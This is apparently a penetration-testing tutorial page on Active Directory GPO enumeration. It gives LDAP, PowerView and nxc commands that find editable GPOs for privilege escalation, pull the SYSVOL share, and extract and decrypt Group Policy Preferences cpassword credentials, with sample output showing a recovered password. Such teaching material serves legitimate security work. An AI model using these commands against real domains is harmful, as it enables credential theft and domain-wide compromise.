Skip to content
HackIndex logo

HackIndex

GPO Enumeration

5 min read Jun 11, 2026

Group Policy Objects control security settings, startup scripts, scheduled tasks, and software deployment across the domain. Enumerating GPOs tells you which machines and users are affected by which policies, reveals GPOs you can modify (a direct privilege escalation path), and surfaces embedded credentials in SYSVOL that have persisted since Group Policy Preferences was deprecated.

GPO metadata lives in LDAP under CN=Policies,CN=System. OU links are stored in the gPLink attribute on OU objects.

┌──(kali㉿kali)-[~]
└─$ # List all GPOs with display name and SYSVOL path
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search \
--filter '(objectClass=groupPolicyContainer)' \
--attr displayName gPCFileSysPath
 
┌──(kali㉿kali)-[~]
└─$ # ldapsearch — GPOs
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" \
-b "CN=Policies,CN=System,$BASE_DN" '(objectClass=groupPolicyContainer)' \
displayName gPCFileSysPath
 
┌──(kali㉿kali)-[~]
└─$ # Which OUs have GPOs linked (gPLink contains GPO GUIDs)
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" \
-b "$BASE_DN" '(gPLink=*)' distinguishedName gPLink
displayName: Default Domain Policy
gPCFileSysPath: \\corp.local\SysVol\corp.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}

displayName: IT Workstation Policy
gPCFileSysPath: \\corp.local\SysVol\corp.local\Policies\{A4B3C2D1-...}

distinguishedName: OU=Workstations,DC=corp,DC=local
gPLink: [LDAP://cn={A4B3C2D1-...},cn=policies,...;0]
PS C:\Users\Guest\Desktop> # PowerView — all GPOs with display name and SYSVOL path
PS C:\Users\Guest\Desktop> Get-DomainGPO | Select-Object displayname, gpcfilesyspath, whenCreated
 
PS C:\Users\Guest\Desktop> # Which OUs have GPOs linked
PS C:\Users\Guest\Desktop> Get-DomainOU | Where-Object {$_.gplink} | Select-Object name, distinguishedname, gplink
 
PS C:\Users\Guest\Desktop> # Which GPOs apply to a specific computer
PS C:\Users\Guest\Desktop> Get-DomainGPO -ComputerIdentity $TARGET_COMPUTER | Select-Object displayname
 
PS C:\Users\Guest\Desktop> # RSAT — if Group Policy module available
PS C:\Users\Guest\Desktop> Get-GPO -All | Select-Object DisplayName, Id, GpoStatus, CreationTime | Sort-Object DisplayName
 
PS C:\Users\Guest\Desktop> # Applied GPOs on current machine
PS C:\Users\Guest\Desktop> gpresult /r
DisplayName              : Default Domain Policy
DisplayName              : IT Workstation Policy
DisplayName              : Server Hardening Policy

gpresult /r:
Applied Group Policy Objects
    Default Domain Policy
    IT Workstation Policy

Find GPOs you can modify

A writable GPO is a privilege escalation path: modify it to add a local admin, run a startup script, or deploy a scheduled task on every machine the GPO applies to. Check which GPOs your current account has edit rights on.

┌──(kali㉿kali)-[~]
└─$ # Check ACL on GPO container object — look for WriteProperty, GenericWrite, GenericAll
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get writable --detail \
| grep -A3 'groupPolicyContainer\|Policies'
 
┌──(kali㉿kali)-[~]
└─$ # Full ACL on all GPO objects
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" \
-b "CN=Policies,CN=System,$BASE_DN" '(objectClass=groupPolicyContainer)' \
displayName nTSecurityDescriptor
PS C:\Users\Guest\Desktop> # PowerView — find GPOs current user can edit
PS C:\Users\Guest\Desktop> Get-DomainGPO | ForEach-Object {
$gpo = $_
Get-DomainObjectAcl -Identity $gpo.distinguishedname -ResolveGUIDs | Where-Object {
$_.IdentityReferenceName -match $USER -and
$_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite'
} | Select-Object @{N='GPO';E={$gpo.displayname}}, ActiveDirectoryRights
}
 
PS C:\Users\Guest\Desktop> # RSAT — check permissions per GPO
PS C:\Users\Guest\Desktop> Get-GPO -All | ForEach-Object {
Get-GPPermissions -Guid $_.Id -All | Where-Object {
$_.Permission -in 'GpoEdit','GpoEditDeleteModifySecurity' -and
$_.Trustee.Name -match $USER
} | Select-Object @{N='GPO';E={$_.GpoName}}, @{N='Permission';E={$_.Permission}}
}
GPO: IT Workstation Policy  ActiveDirectoryRights: WriteProperty

A writable GPO can be abused with GPO Abuse to execute commands on all machines the GPO applies to. Target GPOs linked to OUs containing domain controllers or high-value servers for immediate impact.

SYSVOL: read GPO content and find embedded credentials

SYSVOL is an SMB share on every DC containing GPO files, startup scripts, and logon scripts. Every domain user has read access. Group Policy Preferences XML files in SYSVOL historically stored AES-encrypted passwords — the key is published by Microsoft, making them trivially decryptable. Check every environment; old GPOs are rarely cleaned up.

┌──(kali㉿kali)-[~]
└─$ # Mount SYSVOL and download all content
┌──(kali㉿kali)-[~]
└─$ smbclient //$TARGET_IP/SYSVOL -U "$DOMAIN/$USER%$PASSWORD" -c 'recurse; prompt off; mget *'
 
┌──(kali㉿kali)-[~]
└─$ # Search for GPP cpassword in downloaded content
┌──(kali㉿kali)-[~]
└─$ grep -r 'cpassword' . 2>/dev/null
 
┌──(kali㉿kali)-[~]
└─$ # Decrypt cpassword (Microsoft published the AES key)
┌──(kali㉿kali)-[~]
└─$ gpp-decrypt $CPASSWORD_VALUE
 
┌──(kali㉿kali)-[~]
└─$ # nxc automated modules — faster than manual
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD -M gpp_password
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD -M gpp_autologin
 
┌──(kali㉿kali)-[~]
└─$ # Browse startup/logon scripts
┌──(kali㉿kali)-[~]
└─$ smbclient //$TARGET_IP/SYSVOL -U "$DOMAIN/$USER%$PASSWORD" -c 'recurse; ls' \
| grep -i 'scripts\|\.bat\|\.ps1\|\.vbs'
SMB  10.10.10.10  445  DC01  [+] Found credentials in GPP
SMB  10.10.10.10  445  DC01  Username: svc-deploy  Password: Deploy2019!
PS C:\Users\Guest\Desktop> # List SYSVOL policies and scripts
PS C:\Users\Guest\Desktop> $sysvol = "\\$DOMAIN\SYSVOL\$DOMAIN"
PS C:\Users\Guest\Desktop> Get-ChildItem $sysvol -Recurse -ErrorAction SilentlyContinue | Select-Object FullName
 
PS C:\Users\Guest\Desktop> # Find GPP cpassword in XML files
PS C:\Users\Guest\Desktop> Get-ChildItem "$sysvol\Policies" -Recurse -Include '*.xml' -ErrorAction SilentlyContinue |
PS C:\Users\Guest\Desktop>  Select-String 'cpassword' | Select-Object Path, LineNumber, Line
 
PS C:\Users\Guest\Desktop> # Find startup and logon scripts
PS C:\Users\Guest\Desktop> Get-ChildItem "$sysvol\Policies" -Recurse -Include '*.ps1','*.bat','*.vbs','*.cmd' |
PS C:\Users\Guest\Desktop>  Select-Object FullName
 
PS C:\Users\Guest\Desktop> # Read specific script
PS C:\Users\Guest\Desktop> Get-Content "$sysvol\Policies\{GUID}\Machine\Scripts\Startup\setup.ps1"
Path   : \\corp.local\SYSVOL\...\Groups.xml
Line   :       cpassword="VPe/o9YRyz2cksnYRbNeqg=="

Startup scripts run as SYSTEM on machine boot. Logon scripts run in the context of the logging-in user. Either can contain hardcoded credentials, network share paths to other systems, or be writable by non-admins. Read every script found in SYSVOL.

References